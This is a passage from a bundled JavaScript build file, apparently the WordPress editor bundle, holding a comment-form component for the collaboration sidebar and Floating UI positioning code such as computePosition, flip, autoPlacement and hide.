26071 date && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Tooltip, { text: tooltipText, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26072 "time",
26073 {
26074 dateTime: commentDateTime,
26075 className: "editor-collab-sidebar-panel__user-time",
26076 children: commentDateText
26077 }
26078 ) })
26079 ] })
26080 ] });
26081}
26082var comment_author_info_default = CommentAuthorInfo;
26083
26084
26085;// ./node_modules/@wordpress/editor/build-module/components/collab-sidebar/comment-form.js
26086
26087
26088
26089
26090
26091
26092
26093
26094function CommentForm({
26095 onSubmit,
26096 onCancel,
26097 thread,
26098 submitButtonText,
26099 labelText,
26100 reflowComments = utils_noop
26101}) {
26102 const [inputComment, setInputComment] = (0,external_wp_element_namespaceObject.useState)(
26103 thread?.content?.raw ?? ""
26104 );
26105 const debouncedCommentUpdated = (0,external_wp_compose_namespaceObject.useDebounce)(reflowComments, 100);
26106 const updateComment = (value) => {
26107 setInputComment(value);
26108 };
26109 const inputId = (0,external_wp_compose_namespaceObject.useInstanceId)(CommentForm, "comment-input");
26110 const isDisabled = inputComment === thread?.content?.raw || !sanitizeCommentString(inputComment).length;
26111 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
26112 external_wp_components_namespaceObject.__experimentalVStack,
26113 {
26114 className: "editor-collab-sidebar-panel__comment-form",
26115 spacing: "4",
26116 as: "form",
26117 onSubmit: (event) => {
26118 event.preventDefault();
26119 onSubmit(inputComment);
26120 setInputComment("");
26121 },
26122 children: [
26123 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, { as: "label", htmlFor: inputId, children: labelText ?? (0,external_wp_i18n_namespaceObject.__)("Note") }),
26124 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26125 lib/* default */.A,
26126 {
26127 id: inputId,
26128 value: inputComment ?? "",
26129 onChange: (comment) => {
26130 updateComment(comment.target.value);
26131 debouncedCommentUpdated();
26132 },
26133 rows: 1,
26134 maxRows: 20,
26135 onKeyDown: (event) => {
26136 if (external_wp_keycodes_namespaceObject.isKeyboardEvent.primary(event, "Enter") && !isDisabled) {
26137 event.target.parentNode.requestSubmit();
26138 }
26139 }
26140 }
26141 ),
26142 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { spacing: "2", justify: "flex-end", wrap: true, children: [
26143 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, { size: "compact", variant: "tertiary", onClick: onCancel, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalTruncate, { children: (0,external_wp_i18n_namespaceObject.__)("Cancel") }) }),
26144 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26145 external_wp_components_namespaceObject.Button,
26146 {
26147 size: "compact",
26148 accessibleWhenDisabled: true,
26149 variant: "primary",
26150 type: "submit",
26151 disabled: isDisabled,
26152 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalTruncate, { children: submitButtonText })
26153 }
26154 )
26155 ] })
26156 ]
26157 }
26158 );
26159}
26160var comment_form_default = CommentForm;
26161
26162
26163;// ./node_modules/@floating-ui/utils/dist/floating-ui.utils.mjs
26164const floating_ui_utils_sides = (/* unused pure expression or super */ null && (['top', 'right', 'bottom', 'left']));
26165const alignments = (/* unused pure expression or super */ null && (['start', 'end']));
26166const floating_ui_utils_placements = /*#__PURE__*/(/* unused pure expression or super */ null && (floating_ui_utils_sides.reduce((acc, side) => acc.concat(side, side + "-" + alignments[0], side + "-" + alignments[1]), [])));
26167const floating_ui_utils_min = Math.min;
26168const floating_ui_utils_max = Math.max;
26169const round = Math.round;
26170const floor = Math.floor;
26171const createCoords = v => ({
26172 x: v,
26173 y: v
26174});
26175const oppositeSideMap = {
26176 left: 'right',
26177 right: 'left',
26178 bottom: 'top',
26179 top: 'bottom'
26180};
26181const oppositeAlignmentMap = {
26182 start: 'end',
26183 end: 'start'
26184};
26185function floating_ui_utils_clamp(start, value, end) {
26186 return floating_ui_utils_max(start, floating_ui_utils_min(value, end));
26187}
26188function floating_ui_utils_evaluate(value, param) {
26189 return typeof value === 'function' ? value(param) : value;
26190}
26191function floating_ui_utils_getSide(placement) {
26192 return placement.split('-')[0];
26193}
26194function floating_ui_utils_getAlignment(placement) {
26195 return placement.split('-')[1];
26196}
26197function floating_ui_utils_getOppositeAxis(axis) {
26198 return axis === 'x' ? 'y' : 'x';
26199}
26200function floating_ui_utils_getAxisLength(axis) {
26201 return axis === 'y' ? 'height' : 'width';
26202}
26203function floating_ui_utils_getSideAxis(placement) {
26204 return ['top', 'bottom'].includes(floating_ui_utils_getSide(placement)) ? 'y' : 'x';
26205}
26206function floating_ui_utils_getAlignmentAxis(placement) {
26207 return floating_ui_utils_getOppositeAxis(floating_ui_utils_getSideAxis(placement));
26208}
26209function floating_ui_utils_getAlignmentSides(placement, rects, rtl) {
26210 if (rtl === void 0) {
26211 rtl = false;
26212 }
26213 const alignment = floating_ui_utils_getAlignment(placement);
26214 const alignmentAxis = floating_ui_utils_getAlignmentAxis(placement);
26215 const length = floating_ui_utils_getAxisLength(alignmentAxis);
26216 let mainAlignmentSide = alignmentAxis === 'x' ? alignment === (rtl ? 'end' : 'start') ? 'right' : 'left' : alignment === 'start' ? 'bottom' : 'top';
26217 if (rects.reference[length] > rects.floating[length]) {
26218 mainAlignmentSide = floating_ui_utils_getOppositePlacement(mainAlignmentSide);
26219 }
26220 return [mainAlignmentSide, floating_ui_utils_getOppositePlacement(mainAlignmentSide)];
26221}
26222function floating_ui_utils_getExpandedPlacements(placement) {
26223 const oppositePlacement = floating_ui_utils_getOppositePlacement(placement);
26224 return [floating_ui_utils_getOppositeAlignmentPlacement(placement), oppositePlacement, floating_ui_utils_getOppositeAlignmentPlacement(oppositePlacement)];
26225}
26226function floating_ui_utils_getOppositeAlignmentPlacement(placement) {
26227 return placement.replace(/start|end/g, alignment => oppositeAlignmentMap[alignment]);
26228}
26229function getSideList(side, isStart, rtl) {
26230 const lr = ['left', 'right'];
26231 const rl = ['right', 'left'];
26232 const tb = ['top', 'bottom'];
26233 const bt = ['bottom', 'top'];
26234 switch (side) {
26235 case 'top':
26236 case 'bottom':
26237 if (rtl) return isStart ? rl : lr;
26238 return isStart ? lr : rl;
26239 case 'left':
26240 case 'right':
26241 return isStart ? tb : bt;
26242 default:
26243 return [];
26244 }
26245}
26246function floating_ui_utils_getOppositeAxisPlacements(placement, flipAlignment, direction, rtl) {
26247 const alignment = floating_ui_utils_getAlignment(placement);
26248 let list = getSideList(floating_ui_utils_getSide(placement), direction === 'start', rtl);
26249 if (alignment) {
26250 list = list.map(side => side + "-" + alignment);
26251 if (flipAlignment) {
26252 list = list.concat(list.map(floating_ui_utils_getOppositeAlignmentPlacement));
26253 }
26254 }
26255 return list;
26256}
26257function floating_ui_utils_getOppositePlacement(placement) {
26258 return placement.replace(/left|right|bottom|top/g, side => oppositeSideMap[side]);
26259}
26260function expandPaddingObject(padding) {
26261 return {
26262 top: 0,
26263 right: 0,
26264 bottom: 0,
26265 left: 0,
26266 ...padding
26267 };
26268}
26269function floating_ui_utils_getPaddingObject(padding) {
26270 return typeof padding !== 'number' ? expandPaddingObject(padding) : {
26271 top: padding,
26272 right: padding,
26273 bottom: padding,
26274 left: padding
26275 };
26276}
26277function floating_ui_utils_rectToClientRect(rect) {
26278 return {
26279 ...rect,
26280 top: rect.y,
26281 left: rect.x,
26282 right: rect.x + rect.width,
26283 bottom: rect.y + rect.height
26284 };
26285}
26286
26287
26288
26289;// ./node_modules/@floating-ui/core/dist/floating-ui.core.mjs
26290
26291
26292
26293function computeCoordsFromPlacement(_ref, placement, rtl) {
26294 let {
26295 reference,
26296 floating
26297 } = _ref;
26298 const sideAxis = floating_ui_utils_getSideAxis(placement);
26299 const alignmentAxis = floating_ui_utils_getAlignmentAxis(placement);
26300 const alignLength = floating_ui_utils_getAxisLength(alignmentAxis);
26301 const side = floating_ui_utils_getSide(placement);
26302 const isVertical = sideAxis === 'y';
26303 const commonX = reference.x + reference.width / 2 - floating.width / 2;
26304 const commonY = reference.y + reference.height / 2 - floating.height / 2;
26305 const commonAlign = reference[alignLength] / 2 - floating[alignLength] / 2;
26306 let coords;
26307 switch (side) {
26308 case 'top':
26309 coords = {
26310 x: commonX,
26311 y: reference.y - floating.height
26312 };
26313 break;
26314 case 'bottom':
26315 coords = {
26316 x: commonX,
26317 y: reference.y + reference.height
26318 };
26319 break;
26320 case 'right':
26321 coords = {
26322 x: reference.x + reference.width,
26323 y: commonY
26324 };
26325 break;
26326 case 'left':
26327 coords = {
26328 x: reference.x - floating.width,
26329 y: commonY
26330 };
26331 break;
26332 default:
26333 coords = {
26334 x: reference.x,
26335 y: reference.y
26336 };
26337 }
26338 switch (floating_ui_utils_getAlignment(placement)) {
26339 case 'start':
26340 coords[alignmentAxis] -= commonAlign * (rtl && isVertical ? -1 : 1);
26341 break;
26342 case 'end':
26343 coords[alignmentAxis] += commonAlign * (rtl && isVertical ? -1 : 1);
26344 break;
26345 }
26346 return coords;
26347}
26348
26349/**
26350 * Computes the `x` and `y` coordinates that will place the floating element
26351 * next to a reference element when it is given a certain positioning strategy.
26352 *
26353 * This export does not have any `platform` interface logic. You will need to
26354 * write one for the platform you are using Floating UI with.
26355 */
26356const computePosition = async (reference, floating, config) => {
26357 const {
26358 placement = 'bottom',
26359 strategy = 'absolute',
26360 middleware = [],
26361 platform
26362 } = config;
26363 const validMiddleware = middleware.filter(Boolean);
26364 const rtl = await (platform.isRTL == null ? void 0 : platform.isRTL(floating));
26365 let rects = await platform.getElementRects({
26366 reference,
26367 floating,
26368 strategy
26369 });
26370 let {
26371 x,
26372 y
26373 } = computeCoordsFromPlacement(rects, placement, rtl);
26374 let statefulPlacement = placement;
26375 let middlewareData = {};
26376 let resetCount = 0;
26377 for (let i = 0; i < validMiddleware.length; i++) {
26378 const {
26379 name,
26380 fn
26381 } = validMiddleware[i];
26382 const {
26383 x: nextX,
26384 y: nextY,
26385 data,
26386 reset
26387 } = await fn({
26388 x,
26389 y,
26390 initialPlacement: placement,
26391 placement: statefulPlacement,
26392 strategy,
26393 middlewareData,
26394 rects,
26395 platform,
26396 elements: {
26397 reference,
26398 floating
26399 }
26400 });
26401 x = nextX != null ? nextX : x;
26402 y = nextY != null ? nextY : y;
26403 middlewareData = {
26404 ...middlewareData,
26405 [name]: {
26406 ...middlewareData[name],
26407 ...data
26408 }
26409 };
26410 if (reset && resetCount <= 50) {
26411 resetCount++;
26412 if (typeof reset === 'object') {
26413 if (reset.placement) {
26414 statefulPlacement = reset.placement;
26415 }
26416 if (reset.rects) {
26417 rects = reset.rects === true ? await platform.getElementRects({
26418 reference,
26419 floating,
26420 strategy
26421 }) : reset.rects;
26422 }
26423 ({
26424 x,
26425 y
26426 } = computeCoordsFromPlacement(rects, statefulPlacement, rtl));
26427 }
26428 i = -1;
26429 continue;
26430 }
26431 }
26432 return {
26433 x,
26434 y,
26435 placement: statefulPlacement,
26436 strategy,
26437 middlewareData
26438 };
26439};
26440
26441/**
26442 * Resolves with an object of overflow side offsets that determine how much the
26443 * element is overflowing a given clipping boundary on each side.
26444 * - positive = overflowing the boundary by that number of pixels
26445 * - negative = how many pixels left before it will overflow
26446 * - 0 = lies flush with the boundary
26447 * @see https://floating-ui.com/docs/detectOverflow
26448 */
26449async function detectOverflow(state, options) {
26450 var _await$platform$isEle;
26451 if (options === void 0) {
26452 options = {};
26453 }
26454 const {
26455 x,
26456 y,
26457 platform,
26458 rects,
26459 elements,
26460 strategy
26461 } = state;
26462 const {
26463 boundary = 'clippingAncestors',
26464 rootBoundary = 'viewport',
26465 elementContext = 'floating',
26466 altBoundary = false,
26467 padding = 0
26468 } = evaluate(options, state);
26469 const paddingObject = getPaddingObject(padding);
26470 const altContext = elementContext === 'floating' ? 'reference' : 'floating';
26471 const element = elements[altBoundary ? altContext : elementContext];
26472 const clippingClientRect = rectToClientRect(await platform.getClippingRect({
26473 element: ((_await$platform$isEle = await (platform.isElement == null ? void 0 : platform.isElement(element))) != null ? _await$platform$isEle : true) ? element : element.contextElement || (await (platform.getDocumentElement == null ? void 0 : platform.getDocumentElement(elements.floating))),
26474 boundary,
26475 rootBoundary,
26476 strategy
26477 }));
26478 const rect = elementContext === 'floating' ? {
26479 ...rects.floating,
26480 x,
26481 y
26482 } : rects.reference;
26483 const offsetParent = await (platform.getOffsetParent == null ? void 0 : platform.getOffsetParent(elements.floating));
26484 const offsetScale = (await (platform.isElement == null ? void 0 : platform.isElement(offsetParent))) ? (await (platform.getScale == null ? void 0 : platform.getScale(offsetParent))) || {
26485 x: 1,
26486 y: 1
26487 } : {
26488 x: 1,
26489 y: 1
26490 };
26491 const elementClientRect = rectToClientRect(platform.convertOffsetParentRelativeRectToViewportRelativeRect ? await platform.convertOffsetParentRelativeRectToViewportRelativeRect({
26492 rect,
26493 offsetParent,
26494 strategy
26495 }) : rect);
26496 return {
26497 top: (clippingClientRect.top - elementClientRect.top + paddingObject.top) / offsetScale.y,
26498 bottom: (elementClientRect.bottom - clippingClientRect.bottom + paddingObject.bottom) / offsetScale.y,
26499 left: (clippingClientRect.left - elementClientRect.left + paddingObject.left) / offsetScale.x,
26500 right: (elementClientRect.right - clippingClientRect.right + paddingObject.right) / offsetScale.x
26501 };
26502}
26503
26504/**
26505 * Provides data to position an inner element of the floating element so that it
26506 * appears centered to the reference element.
26507 * @see https://floating-ui.com/docs/arrow
26508 */
26509const arrow = options => ({
26510 name: 'arrow',
26511 options,
26512 async fn(state) {
26513 const {
26514 x,
26515 y,
26516 placement,
26517 rects,
26518 platform,
26519 elements,
26520 middlewareData
26521 } = state;
26522 // Since `element` is required, we don't Partial<> the type.
26523 const {
26524 element,
26525 padding = 0
26526 } = evaluate(options, state) || {};
26527 if (element == null) {
26528 return {};
26529 }
26530 const paddingObject = getPaddingObject(padding);
26531 const coords = {
26532 x,
26533 y
26534 };
26535 const axis = getAlignmentAxis(placement);
26536 const length = getAxisLength(axis);
26537 const arrowDimensions = await platform.getDimensions(element);
26538 const isYAxis = axis === 'y';
26539 const minProp = isYAxis ? 'top' : 'left';
26540 const maxProp = isYAxis ? 'bottom' : 'right';
26541 const clientProp = isYAxis ? 'clientHeight' : 'clientWidth';
26542 const endDiff = rects.reference[length] + rects.reference[axis] - coords[axis] - rects.floating[length];
26543 const startDiff = coords[axis] - rects.reference[axis];
26544 const arrowOffsetParent = await (platform.getOffsetParent == null ? void 0 : platform.getOffsetParent(element));
26545 let clientSize = arrowOffsetParent ? arrowOffsetParent[clientProp] : 0;
26546
26547 // DOM platform can return `window` as the `offsetParent`.
26548 if (!clientSize || !(await (platform.isElement == null ? void 0 : platform.isElement(arrowOffsetParent)))) {
26549 clientSize = elements.floating[clientProp] || rects.floating[length];
26550 }
26551 const centerToReference = endDiff / 2 - startDiff / 2;
26552
26553 // If the padding is large enough that it causes the arrow to no longer be
26554 // centered, modify the padding so that it is centered.
26555 const largestPossiblePadding = clientSize / 2 - arrowDimensions[length] / 2 - 1;
26556 const minPadding = min(paddingObject[minProp], largestPossiblePadding);
26557 const maxPadding = min(paddingObject[maxProp], largestPossiblePadding);
26558
26559 // Make sure the arrow doesn't overflow the floating element if the center
26560 // point is outside the floating element's bounds.
26561 const min$1 = minPadding;
26562 const max = clientSize - arrowDimensions[length] - maxPadding;
26563 const center = clientSize / 2 - arrowDimensions[length] / 2 + centerToReference;
26564 const offset = clamp(min$1, center, max);
26565
26566 // If the reference is small enough that the arrow's padding causes it to
26567 // to point to nothing for an aligned placement, adjust the offset of the
26568 // floating element itself. To ensure `shift()` continues to take action,
26569 // a single reset is performed when this is true.
26570 const shouldAddOffset = !middlewareData.arrow && getAlignment(placement) != null && center != offset && rects.reference[length] / 2 - (center < min$1 ? minPadding : maxPadding) - arrowDimensions[length] / 2 < 0;
26571 const alignmentOffset = shouldAddOffset ? center < min$1 ? center - min$1 : center - max : 0;
26572 return {
26573 [axis]: coords[axis] + alignmentOffset,
26574 data: {
26575 [axis]: offset,
26576 centerOffset: center - offset - alignmentOffset,
26577 ...(shouldAddOffset && {
26578 alignmentOffset
26579 })
26580 },
26581 reset: shouldAddOffset
26582 };
26583 }
26584});
26585
26586function getPlacementList(alignment, autoAlignment, allowedPlacements) {
26587 const allowedPlacementsSortedByAlignment = alignment ? [...allowedPlacements.filter(placement => getAlignment(placement) === alignment), ...allowedPlacements.filter(placement => getAlignment(placement) !== alignment)] : allowedPlacements.filter(placement => getSide(placement) === placement);
26588 return allowedPlacementsSortedByAlignment.filter(placement => {
26589 if (alignment) {
26590 return getAlignment(placement) === alignment || (autoAlignment ? getOppositeAlignmentPlacement(placement) !== placement : false);
26591 }
26592 return true;
26593 });
26594}
26595/**
26596 * Optimizes the visibility of the floating element by choosing the placement
26597 * that has the most space available automatically, without needing to specify a
26598 * preferred placement. Alternative to `flip`.
26599 * @see https://floating-ui.com/docs/autoPlacement
26600 */
26601const autoPlacement = function (options) {
26602 if (options === void 0) {
26603 options = {};
26604 }
26605 return {
26606 name: 'autoPlacement',
26607 options,
26608 async fn(state) {
26609 var _middlewareData$autoP, _middlewareData$autoP2, _placementsThatFitOnE;
26610 const {
26611 rects,
26612 middlewareData,
26613 placement,
26614 platform,
26615 elements
26616 } = state;
26617 const {
26618 crossAxis = false,
26619 alignment,
26620 allowedPlacements = placements,
26621 autoAlignment = true,
26622 ...detectOverflowOptions
26623 } = evaluate(options, state);
26624 const placements$1 = alignment !== undefined || allowedPlacements === placements ? getPlacementList(alignment || null, autoAlignment, allowedPlacements) : allowedPlacements;
26625 const overflow = await detectOverflow(state, detectOverflowOptions);
26626 const currentIndex = ((_middlewareData$autoP = middlewareData.autoPlacement) == null ? void 0 : _middlewareData$autoP.index) || 0;
26627 const currentPlacement = placements$1[currentIndex];
26628 if (currentPlacement == null) {
26629 return {};
26630 }
26631 const alignmentSides = getAlignmentSides(currentPlacement, rects, await (platform.isRTL == null ? void 0 : platform.isRTL(elements.floating)));
26632
26633 // Make `computeCoords` start from the right place.
26634 if (placement !== currentPlacement) {
26635 return {
26636 reset: {
26637 placement: placements$1[0]
26638 }
26639 };
26640 }
26641 const currentOverflows = [overflow[getSide(currentPlacement)], overflow[alignmentSides[0]], overflow[alignmentSides[1]]];
26642 const allOverflows = [...(((_middlewareData$autoP2 = middlewareData.autoPlacement) == null ? void 0 : _middlewareData$autoP2.overflows) || []), {
26643 placement: currentPlacement,
26644 overflows: currentOverflows
26645 }];
26646 const nextPlacement = placements$1[currentIndex + 1];
26647
26648 // There are more placements to check.
26649 if (nextPlacement) {
26650 return {
26651 data: {
26652 index: currentIndex + 1,
26653 overflows: allOverflows
26654 },
26655 reset: {
26656 placement: nextPlacement
26657 }
26658 };
26659 }
26660 const placementsSortedByMostSpace = allOverflows.map(d => {
26661 const alignment = getAlignment(d.placement);
26662 return [d.placement, alignment && crossAxis ?
26663 // Check along the mainAxis and main crossAxis side.
26664 d.overflows.slice(0, 2).reduce((acc, v) => acc + v, 0) :
26665 // Check only the mainAxis.
26666 d.overflows[0], d.overflows];
26667 }).sort((a, b) => a[1] - b[1]);
26668 const placementsThatFitOnEachSide = placementsSortedByMostSpace.filter(d => d[2].slice(0,
26669 // Aligned placements should not check their opposite crossAxis
26670 // side.
26671 getAlignment(d[0]) ? 2 : 3).every(v => v <= 0));
26672 const resetPlacement = ((_placementsThatFitOnE = placementsThatFitOnEachSide[0]) == null ? void 0 : _placementsThatFitOnE[0]) || placementsSortedByMostSpace[0][0];
26673 if (resetPlacement !== placement) {
26674 return {
26675 data: {
26676 index: currentIndex + 1,
26677 overflows: allOverflows
26678 },
26679 reset: {
26680 placement: resetPlacement
26681 }
26682 };
26683 }
26684 return {};
26685 }
26686 };
26687};
26688
26689/**
26690 * Optimizes the visibility of the floating element by flipping the `placement`
26691 * in order to keep it in view when the preferred placement(s) will overflow the
26692 * clipping boundary. Alternative to `autoPlacement`.
26693 * @see https://floating-ui.com/docs/flip
26694 */
26695const flip = function (options) {
26696 if (options === void 0) {
26697 options = {};
26698 }
26699 return {
26700 name: 'flip',
26701 options,
26702 async fn(state) {
26703 var _middlewareData$arrow, _middlewareData$flip;
26704 const {
26705 placement,
26706 middlewareData,
26707 rects,
26708 initialPlacement,
26709 platform,
26710 elements
26711 } = state;
26712 const {
26713 mainAxis: checkMainAxis = true,
26714 crossAxis: checkCrossAxis = true,
26715 fallbackPlacements: specifiedFallbackPlacements,
26716 fallbackStrategy = 'bestFit',
26717 fallbackAxisSideDirection = 'none',
26718 flipAlignment = true,
26719 ...detectOverflowOptions
26720 } = evaluate(options, state);
26721
26722 // If a reset by the arrow was caused due to an alignment offset being
26723 // added, we should skip any logic now since `flip()` has already done its
26724 // work.
26725 // https://github.com/floating-ui/floating-ui/issues/2549#issuecomment-1719601643
26726 if ((_middlewareData$arrow = middlewareData.arrow) != null && _middlewareData$arrow.alignmentOffset) {
26727 return {};
26728 }
26729 const side = getSide(placement);
26730 const isBasePlacement = getSide(initialPlacement) === initialPlacement;
26731 const rtl = await (platform.isRTL == null ? void 0 : platform.isRTL(elements.floating));
26732 const fallbackPlacements = specifiedFallbackPlacements || (isBasePlacement || !flipAlignment ? [getOppositePlacement(initialPlacement)] : getExpandedPlacements(initialPlacement));
26733 if (!specifiedFallbackPlacements && fallbackAxisSideDirection !== 'none') {
26734 fallbackPlacements.push(...getOppositeAxisPlacements(initialPlacement, flipAlignment, fallbackAxisSideDirection, rtl));
26735 }
26736 const placements = [initialPlacement, ...fallbackPlacements];
26737 const overflow = await detectOverflow(state, detectOverflowOptions);
26738 const overflows = [];
26739 let overflowsData = ((_middlewareData$flip = middlewareData.flip) == null ? void 0 : _middlewareData$flip.overflows) || [];
26740 if (checkMainAxis) {
26741 overflows.push(overflow[side]);
26742 }
26743 if (checkCrossAxis) {
26744 const sides = getAlignmentSides(placement, rects, rtl);
26745 overflows.push(overflow[sides[0]], overflow[sides[1]]);
26746 }
26747 overflowsData = [...overflowsData, {
26748 placement,
26749 overflows
26750 }];
26751
26752 // One or more sides is overflowing.
26753 if (!overflows.every(side => side <= 0)) {
26754 var _middlewareData$flip2, _overflowsData$filter;
26755 const nextIndex = (((_middlewareData$flip2 = middlewareData.flip) == null ? void 0 : _middlewareData$flip2.index) || 0) + 1;
26756 const nextPlacement = placements[nextIndex];
26757 if (nextPlacement) {
26758 // Try next placement and re-run the lifecycle.
26759 return {
26760 data: {
26761 index: nextIndex,
26762 overflows: overflowsData
26763 },
26764 reset: {
26765 placement: nextPlacement
26766 }
26767 };
26768 }
26769
26770 // First, find the candidates that fit on the mainAxis side of overflow,
26771 // then find the placement that fits the best on the main crossAxis side.
26772 let resetPlacement = (_overflowsData$filter = overflowsData.filter(d => d.overflows[0] <= 0).sort((a, b) => a.overflows[1] - b.overflows[1])[0]) == null ? void 0 : _overflowsData$filter.placement;
26773
26774 // Otherwise fallback.
26775 if (!resetPlacement) {
26776 switch (fallbackStrategy) {
26777 case 'bestFit':
26778 {
26779 var _overflowsData$map$so;
26780 const placement = (_overflowsData$map$so = overflowsData.map(d => [d.placement, d.overflows.filter(overflow => overflow > 0).reduce((acc, overflow) => acc + overflow, 0)]).sort((a, b) => a[1] - b[1])[0]) == null ? void 0 : _overflowsData$map$so[0];
26781 if (placement) {
26782 resetPlacement = placement;
26783 }
26784 break;
26785 }
26786 case 'initialPlacement':
26787 resetPlacement = initialPlacement;
26788 break;
26789 }
26790 }
26791 if (placement !== resetPlacement) {
26792 return {
26793 reset: {
26794 placement: resetPlacement
26795 }
26796 };
26797 }
26798 }
26799 return {};
26800 }
26801 };
26802};
26803
26804function getSideOffsets(overflow, rect) {
26805 return {
26806 top: overflow.top - rect.height,
26807 right: overflow.right - rect.width,
26808 bottom: overflow.bottom - rect.height,
26809 left: overflow.left - rect.width
26810 };
26811}
26812function isAnySideFullyClipped(overflow) {
26813 return sides.some(side => overflow[side] >= 0);
26814}
26815/**
26816 * Provides data to hide the floating element in applicable situations, such as
26817 * when it is not in the same clipping context as the reference element.
26818 * @see https://floating-ui.com/docs/hide
26819 */
26820const hide = function (options) {
26821 if (options === void 0) {
26822 options = {};
26823 }
26824 return {
26825 name: 'hide',
26826 options,
26827 async fn(state) {
26828 const {
26829 rects
26830 } = state;
26831 const {
26832 strategy = 'referenceHidden',
26833 ...detectOverflowOptions
26834 } = evaluate(options, state);
26835 switch (strategy) {
26836 case 'referenceHidden':
26837 {
26838 const overflow = await detectOverflow(state, {
26839 ...detectOverflowOptions,
26840 elementContext: 'reference'
26841 });
26842 const offsets = getSideOffsets(overflow, rects.reference);
26843 return {
26844 data: {
26845 referenceHiddenOffsets: offsets,
26846 referenceHidden: isAnySideFullyClipped(offsets)
26847 }
26848 };
26849 }
26850 case 'escaped':
26851 {
26852 const overflow = await detectOverflow(state, {
26853 ...detectOverflowOptions,
26854 altBoundary: true
26855 });
26856 const offsets = getSideOffsets(overflow, rects.floating);
26857 return {
26858 data: {
26859 escapedOffsets: offsets,
26860 escaped: isAnySideFullyClipped(offsets)
26861 }
26862 };
26863 }
26864 default:
26865 {
26866 return {};
26867 }
26868 }
26869 }
26870 };
26871};
26872
26873function getBoundingRect(rects) {
26874 const minX = min(...rects.map(rect => rect.left));
26875 const minY = min(...rects.map(rect => rect.top));
26876 const maxX = max(...rects.map(rect => rect.right));
26877 const maxY = max(...rects.map(rect => rect.bottom));
26878 return {
26879 x: minX,
26880 y: minY,
26881 width: maxX - minX,
26882 height: maxY - minY
26883 };
26884}
26885function getRectsByLine(rects) {
26886 const sortedRects = rects.slice().sort((a, b) => a.y - b.y);
26887 const groups = [];
26888 let prevRect = null;
26889 for (let i = 0; i < sortedRects.length; i++) {
26890 const rect = sortedRects[i];
26891 if (!prevRect || rect.y - prevRect.y > prevRect.height / 2) {
26892 groups.push([rect]);
26893 } else {
26894 groups[groups.length - 1].push(rect);
26895 }
26896 prevRect = rect;
26897 }
26898 return groups.map(rect => rectToClientRect(getBoundingRect(rect)));
26899}
26900/**
26901 * Provides improved positioning for inline reference elements that can span
26902 * over multiple lines, such as hyperlinks or range selections.
26903 * @see https://floating-ui.com/docs/inline
26904 */
26905const inline = function (options) {
26906 if (options === void 0) {
26907 options = {};
26908 }
26909 return {
26910 name: 'inline',
26911 options,
26912 async fn(state) {
26913 const {
26914 placement,
26915 elements,
26916 rects,
26917 platform,
26918 strategy
26919 } = state;
26920 // A MouseEvent's client{X,Y} coords can be up to 2 pixels off a
26921 // ClientRect's bounds, despite the event listener being triggered. A
26922 // padding of 2 seems to handle this issue.
26923 const {
26924 padding = 2,
26925 x,
26926 y
26927 } = evaluate(options, state);
26928 const nativeClientRects = Array.from((await (platform.getClientRects == null ? void 0 : platform.getClientRects(elements.reference))) || []);
26929 const clientRects = getRectsByLine(nativeClientRects);
26930 const fallback = rectToClientRect(getBoundingRect(nativeClientRects));
26931 const paddingObject = getPaddingObject(padding);
26932 function getBoundingClientRect() {
26933 // There are two rects and they are disjoined.
26934 if (clientRects.length === 2 && clientRects[0].left > clientRects[1].right && x != null && y != null) {
26935 // Find the first rect in which the point is fully inside.
26936 return clientRects.find(rect => x > rect.left - paddingObject.left && x < rect.right + paddingObject.right && y > rect.top - paddingObject.top && y < rect.bottom + paddingObject.bottom) || fallback;
26937 }
26938
26939 // There are 2 or more connected rects.
26940 if (clientRects.length >= 2) {
26941 if (getSideAxis(placement) === 'y') {
26942 const firstRect = clientRects[0];
26943 const lastRect = clientRects[clientRects.length - 1];
26944 const isTop = getSide(placement) === 'top';
26945 const top = firstRect.top;
26946 const bottom = lastRect.bottom;
26947 const left = isTop ? firstRect.left : lastRect.left;
26948 const right = isTop ? firstRect.right : lastRect.right;
26949 const width = right - left;
26950 const height = bottom - top;
26951 return {
26952 top,
26953 bottom,
26954 left,
26955 right,
26956 width,
26957 height,
26958 x: left,
26959 y: top
26960 };
26961 }
26962 const isLeftSide = getSide(placement) === 'left';
26963 const maxRight = max(...clientRects.map(rect => rect.right));
26964 const minLeft = min(...clientRects.map(rect => rect.left));
26965 const measureRects = clientRects.filter(rect => isLeftSide ? rect.left === minLeft : rect.right === maxRight);
26966 const top = measureRects[0].top;
26967 const bottom = measureRects[measureRects.length - 1].bottom;
26968 const left = minLeft;
26969 const right = maxRight;
26970 const width = right - left;
26971 const height = bottom - top;
26972 return {
26973 top,
26974 bottom,
26975 left,
26976 right,
26977 width,
26978 height,
26979 x: left,
26980 y: top
26981 };
26982 }
26983 return fallback;
26984 }
26985 const resetRects = await platform.getElementRects({
26986 reference: {
26987 getBoundingClientRect
26988 },
26989 floating: elements.floating,
26990 strategy
26991 });
26992 if (rects.reference.x !== resetRects.reference.x || rects.reference.y !== resetRects.reference.y || rects.reference.width !== resetRects.reference.width || rects.reference.height !== resetRects.reference.height) {
26993 return {
26994 reset: {
26995 rects: resetRects
26996 }
26997 };
26998 }
26999 return {};
27000 }
27001 };
27002};
27003
27004// For type backwards-compatibility, the `OffsetOptions` type was also
27005// Derivable.
27006async function convertValueToCoords(state, options) {
27007 const {
27008 placement,
27009 platform,
27010 elements
27011 } = state;
27012 const rtl = await (platform.isRTL == null ? void 0 : platform.isRTL(elements.floating));
27013 const side = floating_ui_utils_getSide(placement);
27014 const alignment = floating_ui_utils_getAlignment(placement);
27015 const isVertical = floating_ui_utils_getSideAxis(placement) === 'y';
